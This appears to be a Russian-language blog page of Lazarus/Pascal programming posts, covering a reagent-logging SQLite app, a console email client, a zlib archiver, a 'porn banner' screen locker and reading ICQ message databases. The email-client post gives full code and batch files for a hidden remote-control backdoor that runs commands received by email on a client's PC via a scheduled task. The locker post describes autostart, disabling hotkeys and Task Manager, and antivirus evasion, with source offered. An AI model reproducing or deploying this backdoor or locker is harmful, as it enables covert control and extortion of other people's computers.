Книга о программировании в Lazarus

Вот книга о программировании в Lazarus . Книжка для новичков. Начала Паскаля и работы с компонентами .

Lazarus+Sqlite=Журнал учета реактивов

25.10.2011

Вот небольшая программа "Журнал учета реактивов" .

Задан список реактивов, по этому списку программа помогает вести приход-расход.  Написал сам. Lazarus+база Sqlite3. (SQLite - бесплатная локальная БД)

Есть функция поиска реактива. Нет - функции редактирования списка реактивов. База данных - в файле "zaba". Редактировать можно при помощи бесплатной кроссплатформерной программы SQLiteStudio2.

В базе 4 таблицы:

groups - наименования групп реактивов (Кислоты, щелочи, ....)

gr -  связка группа-реактив (ну и список реактивов заодно)

reaktiv - собственно журнал учета реактивов

personal - список персонала (не используется)

Прилагаю инсталлятор и исходники. Может пригодится кому.

26.10.2011

Исправлено :

1) procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: char);

begin

if key=',' then key:='.';

if not (key in ['0'..'9','.'] ) then key:=chr(0);

end;   

Разрешен ввод только цифр (Химики норовят указать единицы измерения и приписывают г, мг, кг, л)

Запятые автоматом заменяются на точки (Иначе в SQL запросе появляется как бы лишний параметр и это дает ошибку)

 

В списке реактивов теперь отображается не только наименование реактива ,но и значение из поля Nomerok - порядковый  номер полки где хранится реактив, а также первая буква группы: "К"-кислоты, "Щ"-щелочи, и т.д. (т.к. оказывается ,например, что соляная кислота есть как хч (химически чистая) - в группе "Кислоты", а есть как осч (особо чистая)  в группе "Фиксаналы", поэтому будем считать что это 2 различных реактива, тем более что и хранятся на различных полках)

Общие ощущения от процесса разработки - делфи все же лучще. 

В Lazarus некоторые функции для работы со строками не работают. Предполагаю что дело в кодировке.

Например UpperCase не работет. Pos не находит символ  ")" в строке, хотя он там точно есть . Пришлось написать

Function MyPos(s:string;c:char):integer;

var i:integer;

  begin

  for i:=1 to length(s) do

  if s[i]=c then MyPos:=i;

  end;

С Word, Excel не понятно как работать. Через comobj что-то не получилось, поэтому я пошел по другому пути - выгружаю данные в htm - файл и открываю в браузере установленном в системе по-умолчанию. 

 

SQlite - данные из столбцов имеющих тип дата-время заменяет на 31.12.1989. Это проблема 2-го тысячелетия. Я думал -давно осталось в прошлом. Выход - при записи в базу уменьшать год (скажем на 100) , а при считывании - производить обратную операцию. 

Вложение	Размер
Исходники программы	1.57 МБ
Дистрибутив программы	1.2 МБ

Lazarus - пишем консольный email - клиент

Консольный email-клиент НЕ удобен, если постоянно работать с ним из командной строки. Но если написать пару BAT-файлов то это будет очень удобный инструмент:

- массовая рассылка писем;

-автоматизация получения почты и раскладывания входящих документов по папкам (а возможно - и автоматическая распечатка);

-синхронизация файлов-папок;

-удаленное управление компьютером (отчасти);

Программ такого класса, конечно, есть немало blat, zerat и т.д. Но blat только отправляет почту, а zerat настолько часто используется трояно-писаками, что AVG 2012 его тут же "съел", как только он докачался с сайта автора.

Напишу сам, решил я. И с Вами поделюсь:

1. Скачиваем библиотеку подпрограмм Synapse - она лучше чем Indy на мой вкус.

2. Распаковываем в папку например YMAIL на рабочий стол

3. Создаем в Lazarus новый проект "консольное приложение" и сохраняем в ту же папку

4. Вставляем текст

program YMALER;

 

{$mode objfpc}{$H+}

 

uses

  {$IFDEF UNIX}{$IFDEF UseCThreads}

  cthreads,

  {$ENDIF}{$ENDIF}

  Classes, SysUtils, CustApp,

  mimemess, mimepart, smtpsend,pop3send;

 

type

  Emailer = class(TCustomApplication)

  protected

    procedure DoRun; override;

  public

    constructor Create(TheOwner: TComponent); override;

    destructor Destroy; override;

    procedure WriteHelp; virtual;

  end;

  var test:boolean;

Procedure SendMail (pHost, pSubject, pTo, pFrom , pTextBody, pHTMLBody,login,password,port,proxyip,proxyport : string;Files:TStrings);

    var tmpMsg : TMimeMess;

        tmpStringList : TStringList;

        tmpMIMEPart : TMimePart;

        i:integer;

begin

    tmpMsg := TMimeMess.Create;

    tmpStringList := TStringList.Create;

    try

        // Headers

        tmpMsg.Header.Subject := pSubject;

        tmpMsg.Header.From := pFrom;

        tmpMsg.Header.XMailer:='TheBat';

        tmpMsg.Header.ToList.Add(pTo);

         if test then Writeln('Заголовок письма готов');

        // MIMe Parts

        tmpMIMEPart := tmpMsg.AddPartMultipart('alternate',nil);

 

        if length(pTextBody)>0 then

           begin

             tmpStringList.Text := pTextBody;

             tmpMsg.AddPartText(tmpStringList, tmpMIMEPart);

           end

        else

          begin

            tmpStringList.Text := pHTMLBody;

            tmpMsg.AddPartHTML(tmpStringList, tmpMIMEPart);

          end;

                   if test then Writeln('Тело сформировано');

        if Files.count>0 then begin

          For i:=0 to Files.count-1 do

            tmpMsg.AddPartBinaryFromFile(Files[i],tmpMIMEPart);

        end;

                 if test then Writeln('Файлы вложены');

        // кодируем и отправляем

        tmpMsg.EncodeMessage;

                 if test then Writeln('Письмо готово для отправки');

        if length(port)>0 then smtpsend.cSmtpProtocol:=port;

        smtpsend.SendToRaw(pFrom, pTo, pHost, tmpMsg.Lines, login, password,proxyip,proxyport);

        finally

        tmpMsg.Free;

        tmpStringList.Free;

    end;     end;

function Replace(Str, X, Y: string): string;

var

  buf1, buf2, buffer: string;

 

begin

  buf1 := '';

  buf2 := Str;

  Buffer := Str;

 

  while Pos(UpperCase(X), UpperCase(buf2)) > 0 do

  begin

    buf2 := Copy(buf2, Pos(UpperCase(X), UpperCase(buf2)), (Length(buf2) - Pos(UpperCase(X),UpperCase(buf2))) + 1);

    buf1 := Copy(Buffer, 1, Length(Buffer) - Length(buf2)) + Y;

    Delete(buf2, Pos(UpperCase(X), UpperCase(buf2)), Length(X));

    Buffer := buf1 + buf2;

  end;

 

  Replace := Buffer;

end;

Procedure GetEmail(pop3host,login,password,path,port:string);

var   pop3:Tpop3send;

  FMimeMsg: TMimeMess;

  FMimePart: TMimePart;

  FMimePart2: TMimePart;

  LoginOk: Boolean;

 

  nMsgCount: Integer;

  nMsg: Integer;

  n: Integer;

  FName:string;

begin

FMimeMsg:=TMimeMess.Create;

pop3:=Tpop3send.Create;

FMimePart:=TMimePart.Create;

FMimePart2:=TMimePart.Create;

FMimePart:=nil;

FMimePart2:=nil;

 try

  pop3.TargetHost:=pop3host;

  pop3.UserName:=login;

  pop3.Password:=password;

  if length(port)>0 then

  pop3.TargetPort:=port;

if test then Writeln('Try to login ',pop3host,' ',login,' ',password,' ',port);

  LoginOk := pop3.Login;

  if (LoginOk) then begin

    if test then Writeln('Login OK !');

  pop3.List(0);

  pop3.stat;

    if test then writeln(pop3.StatCount,' message');

  if (fileexists(path) = false) then createdir(path);

  for nMsg := 1 to pop3.StatCount do begin

        if test then writeln('get '+IntToStr(nMsg)+' message');

    pop3.Retr( nMsg );

     FMimeMsg.Clear;

     FMimeMsg.Lines.Text := pop3.FullResult.Text;

     FMimeMsg.DecodeMessage;

          {FMimeMsg.Lines.SaveToFile(savepath+'\text.htm');}

          FMimePart := FMimeMsg.MessagePart;

           FMimePart.DecomposeParts;

          for n := 0 to FMimePart.GetSubPartCount - 1 do begin

              FMimePart2:=FMimePart.GetSubPart(n);

            if FMimePart2.FileName <> '' then begin

              FMimePart2.DecodePart;

              FName:=Replace(FMimePart2.FileName,'?','');

              FMimePart2.DecodedLines.SaveToFile( path +'\'+FName ) ;

            if test then Writeln('File saved '+path +'\'+FName);

            end;

          end;

          pop3.Dele( nMsg );

              if test then writeln('delete message');

  end;

    pop3.Logout;

    if test then writeln('logout');

  end;

  except

    if test then writeln('no login');

  end;

  pop3.Free;

  FMimeMsg.Free;

  end;

procedure Emailer.WriteHelp;

begin

  writeln('Usage: ',ExtractFileName(ExeName),' -h');

  writeln;

  writeln(ExtractFileName(ExeName)+' send smtphost smtp.bk.ru port 8110 subject "Tema pisma" to y.a.p@bk.ru fromy.x.x.y@bk.ru text "Text pisma" html "<p> Text pisma </p>" login y.x.x.y password yxxy852456 file pricaz.dox file report.xls file archive.zip');

  writeln;

  writeln(ExtractFileName(ExeName)+' get pop3host pop3.bk.ru port 8025 login y.x.x.y password yxxy852456');

  writeln('Press ENTER to continue...');

  readln;

end;

 

procedure Emailer.DoRun;

var

  ErrorMsg: String;

  smtpHost, Subject, pTo, From , TextBody, HTMLBody,login,password,pop3host,path,port,proxyip,proxyport: string;Files:TStrings;

  i:integer;

begin

    Files:=TStringList.Create;

 if paramcount>0 then

begin

 if paramstr(1)='send' then begin

 for i:=1 to paramcount do

   begin

     if (paramstr(i)='test') then test:=true;

     if (paramstr(i)='smtphost')and(i<paramcount) then smtphost:=paramstr(i+1);

     if (paramstr(i)='proxyip')and(i<paramcount) then proxyip:=paramstr(i+1);

     if (paramstr(i)='proxyport')and(i<paramcount) then proxyport:=paramstr(i+1);

     if (paramstr(i)='subject')and(i<paramcount) then subject:=paramstr(i+1);

     if (paramstr(i)='to')and(i<paramcount) then pTo:=paramstr(i+1);

     if (paramstr(i)='from')and(i<paramcount) then From:=paramstr(i+1);

     if (paramstr(i)='text')and(i<paramcount) then TextBody:=paramstr(i+1);

     if (paramstr(i)='html')and(i<paramcount) then HTMLBody:=paramstr(i+1);

     if (paramstr(i)='login')and(i<paramcount) then login:=paramstr(i+1);

     if (paramstr(i)='password')and(i<paramcount) then password:=paramstr(i+1);

     if (paramstr(i)='file')and(i<paramcount) then files.Add(paramstr(i+1));

     if (paramstr(i)='port')and(i<paramcount) then port:=paramstr(i+1);

   end;

    SendMail(smtpHost, Subject, pTo, From , TextBody, HTMLBody,login,password,port,proxyip,proxyport,Files);

    end;                                                                                                                                        {Вызов оригинальной функции немного не такой, я добавил возможность работы через http-туннель (прокси)}

  if paramstr(1)='get' then begin

  for i:=1 to paramcount do

   begin

     if (paramstr(i)='test') then test:=true;

    if (paramstr(i)='pop3host')and(i<paramcount) then pop3host:=paramstr(i+1);

    if (paramstr(i)='login')and(i<paramcount) then login:=paramstr(i+1);

    if (paramstr(i)='password')and(i<paramcount) then password:=paramstr(i+1);

    if (paramstr(i)='path')and(i<paramcount) then path:=paramstr(i+1);

    if (paramstr(i)='here')and(i<paramcount) then GetDir(0,path);

    if (paramstr(i)='port')and(i<paramcount) then port:=paramstr(i+1);

    end;

    GetEmail(pop3host,login,password,path,port);

   end;

  end else WriteHelp;

   Terminate;

  exit;

 end;

 

 

 

 

constructor Emailer.Create(TheOwner: TComponent);

begin

  inherited Create(TheOwner);

  StopOnException:=True;

end;

 

destructor Emailer.Destroy;

begin

  inherited Destroy;

end;

 

var

  Application: Emailer;

 

{$R *.res}

 

begin

  Application:=Emailer.Create(nil);

 test:=false;

  Application.Run;

  Application.Free;

end.

 

 

Скопируйте этот текст и вставьте с заменой.

Теперь скомпилируем наш проект - жмем Ctrl+F9. 

Собственно наш консольный почтовик готов.

Напишем пару BAT-файлов . К примеру, для такой задачи: 

Скрытое удаленное управление.

Напишем файлы send.bat

YMALER.exe send smtphost smtp.bk.ru subject "Proverka svyazi" to y.a.p@bk.ru from y.x.x.y@bk.ru text "Hello !" login y.x.x.y password yxxy852456 file %1

и get.bat

YMALER.exe get pop3host pop3.bk.ru login y.x.x.y password yxxy852456 here

if exist admin.bat admin.bat

if exist admin.bat del /q admin.bat

Скопируем программу+2 этих bat -файла в папку %WINDIR% на компьютер клиента.

А в Панель управления -Назначенные задания добавим задание каждые 5 минут выполнять get.bat 

 

Теперь отправив клиенту файл admin.bat вложением на адрес y.x.x.y@bk.ru 

calc.exe 

мы увидим как на его компьютере запустится калькулятор - значит все работает.

 

Исходники прграммы

Lazarus - исходники консольного архиватора

Используя библиотеку ZLib написал вот такой простой архиватор-разархиватор.

Исходник иприлагаю:

program zz;

{$mode objfpc}{$H+}

uses

  {$IFDEF UNIX}{$IFDEF UseCThreads}

  cthreads,

  {$ENDIF}{$ENDIF}

  Classes, SysUtils, CustApp,zlibfunc

  { you can add units after this };

type

  { z }

  z = class(TCustomApplication)

  protected

    procedure DoRun; override;

  public

    constructor Create(TheOwner: TComponent); override;

    destructor Destroy; override;

  end;

{ z }

procedure z.DoRun;

var here:string;

begin

  if ParamCount>2 then begin

  if ParamStr(1)='d' then CompressDirectory(Paramstr(2),true,Paramstr(3));

  if ParamStr(1)='f' then CompressFile(Paramstr(2),Paramstr(3));

  if ParamStr(1)='er' then DecompressFile(Paramstr(2),Paramstr(3),true,true);

  if ParamStr(1)='ea' then DecompressFile(Paramstr(2),Paramstr(3),true,false);

  end

  else

  begin

    if ParamCount>1 then begin

        here:=ExtractFilePath(Paramstr(0));

  if Paramstr(1)='here' then DecompressFile(Paramstr(2),here,true,false);

      end else begin

    writeln('Usage: zz d Directory Archive');

    writeln('Usage: zz f File Archive');

    writeln('Usage: zz er Archive Target-Relative');

    writeln('Usage: zz ea Archive Target-Absolute');

    writeln('Press Enter to continue');

    readln;

      end;

  end;

  Terminate;

end;

constructor z.Create(TheOwner: TComponent);

begin

  inherited Create(TheOwner);

  StopOnException:=True;

end;

destructor z.Destroy;

begin

  inherited Destroy;

end;

var

  Application: z;

{$R *.res}

begin

  Application:=z.Create(nil);

  Application.Title:='z';

  Application.Run;

  Application.Free;

end.

То есть чтобы запаковать папку DOCS в архив DOCS.ZZ пишем команду:

zz d docs docs.zz

Чтобы запаковать файл FILE.DOC в архив FILE.ZZ пишем

zz f file.doc file.zz

Для извлечения удобнее всего использовать атрибут HERE - здесь:

zz docs.zz here

zz file.zz here

Исходники программы

Пишем порнобаннер на Lazarus ?

Пишем порнобаннер ?

По сути дела в порнобаннере нет ничего сложного - окно на весь экран с картинкой, программу в автозагрузку, отключить горячие клавиши и диспетчер задач.
На досуге в качестве эксперимента попробовал написать на Lazarus нечто подобное.
(Исключительно для использования в лабораторных условиях)

Вот исходник   PornoBanner2012.zip ( 7.74 мегабайт ) Кол-во скачиваний: 0
Lazarus компилирует довольно большие файлы - 14 Мб для нормального порнобаннера было бы многовато.

При первом запуске программа записывается в автозагрузку, отключает клавиши Ctrl, Alt,Win,Del и принудительно перезагружает компьютер.

Диспетчер задач нейтрализуется следующим образом - он запускается программой и его окно скрывается. Поскольку экземпляр диспетчера уже запущен, попытка повторного запуска приводит лишь к активизации уже запущенного экземпляра, но он скрыт. А после перезагрузки горячие клавиши уже не работают.

Окно программы-порнобаннера полупрозрачное, вверху текстовое поле. Если ввести "ёёё" баннер автоматически удалит записи из автозагрузки, включит отключенные клавиши и перезагружает компьютер.

Не обнаруживается антивирусами  .

(Хочу подчеркнуть что не одобряю написание и применение программ, умышленно причиняющих вред. ) 

Lazarus - работа с SQLite базами вообще и с базой сообщений ICQ 7 (Messages.qdb) в частности

Если у Вас есть аська №7 (а не какой-нибудь QIP) , то база сообщений расположена по адресу %appdata%\icq\ номер аськи \ messages.qdb - это база в формате sqlite. До версии 7, у 6.5 например, база была в формате базы access и называлась messages.mdb. Но структура баз практически одинакова - в таблице Messages , в столбце subject - незашифрованные сообщения .

Кстати говоря - данный материал публикуется для использования исключительно в мирных целях:

Например, Вы забыли свой пароль от аськи, а в той переписке был очень важный номер телефона.

Создайте новый проект, киньте на форму компоненты, указанные на рисунке.

Привяжем компоненты друг к другу: транзакцию и запрос к базе, а сетку к запросу.

Для кнопки напишем такую подпрограмму:

 procedure TForm1.Button1Click(Sender: TObject);

begin

if openDialog1.Execute then

begin

  SQLQuery1.Active:=false;

  SQLite3Connection1.Connected:=false;

  SQLite3Connection1.DatabaseName:=openDialog1.FileName;

  self.Caption:=openDialog1.FileName;

  SQLite3Connection1.Connected:=true;

  SQLQuery1.Active:=true;

end;

end;  

Вот собственно и все.

Запускаем

Просматриваем сообщения:

Исходники
Собственно программа